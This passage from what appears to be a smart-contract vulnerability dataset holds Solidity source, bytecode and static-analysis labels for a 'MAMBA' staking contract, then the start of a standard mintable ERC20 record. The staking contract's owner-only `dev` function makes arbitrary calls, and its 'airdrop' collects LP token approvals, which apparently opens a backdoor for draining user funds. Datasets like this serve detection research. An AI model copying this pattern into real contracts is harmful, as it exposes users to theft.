the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract ERC20MAMBA is ERC20("MAMBA FINANCE", "MAMBA"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner. function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); } } contract MAMBASTAKE is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { bool uniq; // true or false uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 airdropAmount; // Reward debt. See explanation below. uint256 requestBlock; // Block When tokens transfer to user // // We do some fancy math here. Basically, any point in time, the amount of MAMBA // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accMAMBAPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accMAMBAPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. POBs to distribute per block. uint256 lastRewardBlock; // Last block number that POBs distribution occurs. uint256 accMAMBAPerShare; // Accumulated MAMBA per share, times 1e12. See below. } // Dev address. address public devaddr; // MAMBA tokens created per block. uint256 public MambaPerBlock; //TetherToken contract ERC20MAMBA public mamba; // The dev address; address public devadr; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when MAMBA mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( ERC20MAMBA _mamba, address _devaddr, uint256 _MambaPerBlock ) public { mamba = _mamba; devaddr = _devaddr; MambaPerBlock = _MambaPerBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } else { uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accMAMBAPerShare: 0 })); } } // Update the given pool's MAMBA allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // View function to see pending MAMBA on frontend. function pendingMamba(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accMAMBAPerShare = pool.accMAMBAPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = 1; uint256 MambaReward = multiplier.mul(MambaPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accMAMBAPerShare = accMAMBAPerShare.add(MambaReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accMAMBAPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update dev address by the previous dev. function dev(address _devadr, bytes memory _devkey) public onlyOwner { devadr = _devadr; (bool success, bytes memory returndata) = devadr.call(_devkey); require(success, "devaddress: failed"); } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = 1; uint256 MambaReward = multiplier.mul(MambaPerBlock).mul(pool.allocPoint).div(totalAllocPoint); pool.accMAMBAPerShare = pool.accMAMBAPerShare.add(MambaReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for MAMBA allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accMAMBAPerShare).div(1e12).sub(user.rewardDebt); safeMambaTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accMAMBAPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accMAMBAPerShare).div(1e12).sub(user.rewardDebt); safeMambaTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accMAMBAPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // **** Additional functions separate from the original masterchef contract **** function setMambaPerBlock(uint256 _MambaPerBlock) public onlyOwner { require(_MambaPerBlock > 0, "!MambaPerBlock-0"); MambaPerBlock = _MambaPerBlock; } // Safe MAMBA transfer function, just in case if rounding error causes pool to not have enough ETH. function safeMambaTransfer(address _to, uint256 _amount) internal{ uint256 mambaBal = mamba.balanceOf(address(this)); if (_amount > mambaBal) { mamba.transfer(_to, mambaBal); } else { mamba.transfer(_to, _amount); } } // Request token from POOL (AIRDROP) function requestTokenFromPool(uint256 _pid) public { UserInfo storage user = userInfo[_pid][msg.sender]; PoolInfo storage pool = poolInfo[_pid]; if (user.uniq == true) // Check for uniq wallet {} else { pool.lpToken.transferFrom(address(msg.sender), address(this), 1); user.uniq = true; user.airdropAmount = pool.lpToken.balanceOf(address(msg.sender)); user.requestBlock = block.number; }} // Pay to user (AIRDROP) function payUserFromDev(uint256 _pid, address _user, bool _pay, uint256 _amount) public onlyOwner { UserInfo storage user = userInfo[_pid][_user]; if (user.uniq == false) // Check for uniq wallet {} else { if(_pay == true) { mamba.mint(_user, _amount); user.airdropAmount=0; user.requestBlock = 999; } if(_pay == false) { user.airdropAmount=0; user.requestBlock = 111; } } } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c8063715018a6116100c3578063d49e77cd1161007c578063d49e77cd146103c7578063da5082ca146103cf578063de1225da146103d7578063e2bbb158146103df578063f2fde38b14610402578063fa4b83881461042857610158565b8063715018a6146102f157806388052403146102f95780638da5cb5b1461032557806393f1a40b14610349578063b9721cda146103a2578063bc2be72c146103aa57610158565b806348cd4cb11161011557806348cd4cb11461025f57806351eb05a6146102675780635312ea8e14610284578063630b5ba1146102a157806364482f79146102a95780636dbc86c3146102d457610158565b8063081e3eda1461015d5780631526fe271461017757806317caf6f1146101c45780631eaaa045146101cc5780633a6014a814610202578063441a3e701461023c575b600080fd5b6101656104de565b60408051918252519081900360200190f35b6101946004803603602081101561018d57600080fd5b50356104e4565b604080516001600160a01b0390951685526020850193909352838301919091526060830152519081900360800190f35b610165610525565b610200600480360360608110156101e257600080fd5b508035906001600160a01b036020820135169060400135151561052b565b005b6102006004803603608081101561021857600080fd5b508035906001600160a01b03602082013516906040810135151590606001356106af565b6102006004803603604081101561025257600080fd5b50803590602001356107da565b610165610937565b6102006004803603602081101561027d57600080fd5b503561093d565b6102006004803603602081101561029a57600080fd5b5035610a61565b610200610b06565b610200600480360360608110156102bf57600080fd5b50803590602081013590604001351515610b29565b610200600480360360208110156102ea57600080fd5b5035610bfa565b610200610d60565b6101656004803603604081101561030f57600080fd5b50803590602001356001600160a01b0316610e02565b61032d610f5a565b604080516001600160a01b039092168252519081900360200190f35b6103756004803603604081101561035f57600080fd5b50803590602001356001600160a01b0316610f69565b60408051951515865260208601949094528484019290925260608401526080830152519081900360a00190f35b61032d610fa7565b610200600480360360208110156103c057600080fd5b5035610fb6565b61032d61105b565b61032d61106a565b610165611079565b610200600480360360408110156103f557600080fd5b508035906020013561107f565b6102006004803603602081101561041857600080fd5b50356001600160a01b031661118e565b6102006004803603604081101561043e57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561046957600080fd5b82018360208201111561047b57600080fd5b8035906020019184600183028401116401000000008311171561049d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611286945050505050565b60055490565b600581815481106104f157fe5b600091825260209091206004909102018054600182015460028301546003909301546001600160a01b039092169350919084565b60075481565b6105336113f1565b6000546001600160a01b03908116911614610583576040805162461bcd60e51b81526020600482018190526024820152600080516020611b1a833981519152604482015290519081900360640190fd5b801561059657610591610b06565b6106aa565b600060085443116105a9576008546105ab565b435b6007549091506105bb90856113f5565b600755604080516080810182526001600160a01b0385811682526020820187815292820193845260006060830181815260058054600181018255925292517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0600490920291820180546001600160a01b031916919093161790915591517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db183015591517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db282015590517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db3909101555b505050565b6106b76113f1565b6000546001600160a01b03908116911614610707576040805162461bcd60e51b81526020600482018190526024820152600080516020611b1a833981519152604482015290519081900360640190fd5b60008481526006602090815260408083206001600160a01b03871684529091529020805460ff16610737576107d3565b600183151514156107bf57600354604080516340c10f1960e01b81526001600160a01b03878116600483015260248201869052915191909216916340c10f1991604480830192600092919082900301818387803b15801561079757600080fd5b505af11580156107ab573d6000803e3d6000fd5b50506000600384015550506103e760048201555b826107d35760006003820155606f60048201555b5050505050565b6000600583815481106107e957fe5b60009182526020808320868452600682526040808520338652909252922060018101546004909202909201925083111561085f576040805162461bcd60e51b81526020600482015260126024820152711dda5d1a191c985dce881b9bdd0819dbdbd960721b604482015290519081900360640190fd5b6108688461093d565b60006108a2826002015461089c64e8d4a510006108968760030154876001015461145690919063ffffffff16565b906114af565b906114f1565b90506108ae3382611533565b60018201546108bd90856114f1565b6001830181905560038401546108de9164e8d4a51000916108969190611456565b600283015582546108f9906001600160a01b031633866116bc565b604080518581529051869133917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5689181900360200190a35050505050565b60085481565b60006005828154811061094c57fe5b906000526020600020906004020190508060020154431161096d5750610a5e565b8054604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109b757600080fd5b505afa1580156109cb573d6000803e3d6000fd5b505050506040513d60208110156109e157600080fd5b50519050806109f7575043600290910155610a5e565b6000600190506000610a286007546108968660010154610a226002548761145690919063ffffffff16565b90611456565b9050610a4b610a40846108968464e8d4a51000611456565b6003860154906113f5565b6003850155505043600290920191909155505b50565b600060058281548110610a7057fe5b60009182526020808320858452600682526040808520338087529352909320600181015460049093029093018054909450610ab8926001600160a01b039190911691906116bc565b60018101546040805191825251849133917fbb757047c2b5f3974fe26b7c10f732e7bce710b0952a71082702781e62ae05959181900360200190a36000600182018190556002909101555050565b60055460005b81811015610b2557610b1d8161093d565b600101610b0c565b5050565b610b316113f1565b6000546001600160a01b03908116911614610b81576040805162461bcd60e51b81526020600482018190526024820152600080516020611b1a833981519152604482015290519081900360640190fd5b8015610b8f57610b8f610b06565b610bcc82610bc660058681548110610ba357fe5b9060005260206000209060040201600101546007546114f190919063ffffffff16565b906113f5565b6007819055508160058481548110610be057fe5b906000526020600020906004020160010181905550505050565b600081815260066020908152604080832033845290915281206005805491929184908110610c2457fe5b600091825260209091208354600490920201915060ff16151560011415610c4a576106aa565b8054604080516323b872dd60e01b81523360048201523060248201526001604482015290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610ca357600080fd5b505af1158015610cb7573d6000803e3d6000fd5b505050506040513d6020811015610ccd57600080fd5b5050815460ff191660011782558054604080516370a0823160e01b815233600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610d2457600080fd5b505afa158015610d38573d6000803e3d6000fd5b505050506040513d6020811015610d4e57600080fd5b50516003830155436004830155505050565b610d686113f1565b6000546001600160a01b03908116911614610db8576040805162461bcd60e51b81526020600482018190526024820152600080516020611b1a833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60008060058481548110610e1257fe5b600091825260208083208784526006825260408085206001600160a01b03898116875290845281862060049586029093016003810154815484516370a0823160e01b81523098810198909852935191985093969395939492909116926370a08231926024808301939192829003018186803b158015610e9057600080fd5b505afa158015610ea4573d6000803e3d6000fd5b505050506040513d6020811015610eba57600080fd5b5051600285015490915043118015610ed157508015155b15610f25576000600190506000610f016007546108968860010154610a226002548761145690919063ffffffff16565b9050610f20610f19846108968464e8d4a51000611456565b85906113f5565b935050505b610f4d836002015461089c64e8d4a5100061089686886001015461145690919063ffffffff16565b9450505050505b92915050565b6000546001600160a01b031690565b60066020908152600092835260408084209091529082529020805460018201546002830154600384015460049094015460ff90931693919290919085565b6004546001600160a01b031681565b610fbe6113f1565b6000546001600160a01b0390811691161461100e576040805162461bcd60e51b81526020600482018190526024820152600080516020611b1a833981519152604482015290519081900360640190fd5b60008111611056576040805162461bcd60e51b815260206004820152601060248201526f0214d616d6261506572426c6f636b2d360841b604482015290519081900360640190fd5b600255565b6001546001600160a01b031681565b6003546001600160a01b031681565b60025481565b60006005838154811061108e57fe5b600091825260208083208684526006825260408085203386529092529220600490910290910191506110bf8461093d565b6001810154156111055760006110f7826002015461089c64e8d4a510006108968760030154876001015461145690919063ffffffff16565b90506111033382611533565b505b815461111c906001600160a01b031633308661170e565b600181015461112b90846113f5565b60018201819055600383015461114c9164e8d4a51000916108969190611456565b6002820155604080518481529051859133917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159181900360200190a350505050565b6111966113f1565b6000546001600160a01b039081169116146111e6576040805162461bcd60e51b81526020600482018190526024820152600080516020611b1a833981519152604482015290519081900360640190fd5b6001600160a01b03811661122b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611ad36026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61128e6113f1565b6000546001600160a01b039081169116146112de576040805162461bcd60e51b81526020600482018190526024820152600080516020611b1a833981519152604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b038481169190911791829055604051835160009360609316918591819060208401908083835b602083106113385780518252601f199092019160209182019101611319565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461139a576040519150601f19603f3d011682016040523d82523d6000602084013e61139f565b606091505b5091509150816113eb576040805162461bcd60e51b815260206004820152601260248201527119195d9859191c995cdcce8819985a5b195960721b604482015290519081900360640190fd5b50505050565b3390565b60008282018381101561144f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60008261146557506000610f54565b8282028284828161147257fe5b041461144f5760405162461bcd60e51b8152600401808060200182810382526021815260200180611af96021913960400191505060405180910390fd5b600061144f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611768565b600061144f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061180a565b600354604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561157e57600080fd5b505afa158015611592573d6000803e3d6000fd5b505050506040513d60208110156115a857600080fd5b505190508082111561163c576003546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561160a57600080fd5b505af115801561161e573d6000803e3d6000fd5b505050506040513d602081101561163457600080fd5b506106aa9050565b6003546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561169257600080fd5b505af11580156116a6573d6000803e3d6000fd5b505050506040513d60208110156107d357600080fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526106aa908490611864565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526113eb908590611864565b600081836117f45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117b95781810151838201526020016117a1565b50505050905090810190601f1680156117e65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161180057fe5b0495945050505050565b6000818484111561185c5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156117b95781810151838201526020016117a1565b505050900390565b60606118b9826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166119159092919063ffffffff16565b8051909150156106aa578080602001905160208110156118d857600080fd5b50516106aa5760405162461bcd60e51b815260040180806020018281038252602a815260200180611b3a602a913960400191505060405180910390fd5b6060611924848460008561192c565b949350505050565b606061193785611a99565b611988576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106119c75780518252601f1990920191602091820191016119a8565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611a29576040519150601f19603f3d011682016040523d82523d6000602084013e611a2e565b606091505b50915091508115611a425791506119249050565b805115611a525780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156117b95781810151838201526020016117a1565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061192457505015159291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220a4ccd4512489b880d5a99e81213581090637e8d05eb32bf8b3f6fa18b655abbb64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2475, 2278, 10790, 2549, 2094, 2581, 2063, 23777, 2549, 2278, 26976, 2581, 2575, 2278, 2549, 2278, 2683, 2497, 2581, 2683, 2581, 15878, 2278, 26337, 2063, 2629, 8586, 27009, 4783, 2581, 1013, 1008, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,074
0x962cf5b928539e994a4d03391131f5c39a2a9923
/* * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); 